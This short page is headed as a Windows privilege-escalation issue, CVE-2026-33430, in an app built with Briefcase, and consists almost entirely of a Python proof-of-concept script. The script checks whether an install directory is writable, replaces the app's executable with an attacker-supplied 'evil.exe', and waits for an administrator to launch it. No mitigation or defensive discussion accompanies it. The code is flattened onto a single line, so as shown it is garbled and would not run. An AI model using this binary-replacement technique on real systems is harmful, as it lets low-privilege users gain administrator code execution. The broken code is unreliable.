CVE-2026-33430 Briefcase Windows权限提升漏洞

# PoC Concept: Replacing a vulnerable binary # This script demonstrates how a low-privilege user could replace a binary # in a directory that has inherited insecure permissions. import os import shutil def exploit_poc(vulnerable_dir, malicious_exe_path): # Check if the vulnerable directory exists and is writable if os.path.exists(vulnerable_dir): # Identify the target binary to replace (e.g., app.exe) target_binary = os.path.join(vulnerable_dir, "app.exe") if os.path.exists(target_binary): # Check write permissions if os.access(vulnerable_dir, os.W_OK): print(f"[+] Directory {vulnerable_dir} is writable. Proceeding with replacement.") try: # Backup original (optional) shutil.copy(target_binary, target_binary + ".bak") # Replace with malicious binary shutil.copy(malicious_exe_path, target_binary) print(f"[+] Successfully replaced {target_binary} with {malicious_exe_path}.") print("[*] Wait for an Administrator to run the application.") except Exception as e: print(f"[-] Error during replacement: {e}") else: print("[-] No write permission for the current user.") else: print(f"[-] Target binary {target_binary} not found.") else: print(f"[-] Vulnerable directory {vulnerable_dir} not found.") # Example usage paths # target_dir = "C:\Program Files\MyBriefcaseApp" # evil_file = "C:\Users\Attacker\evil.exe" # exploit_poc(target_dir, evil_file)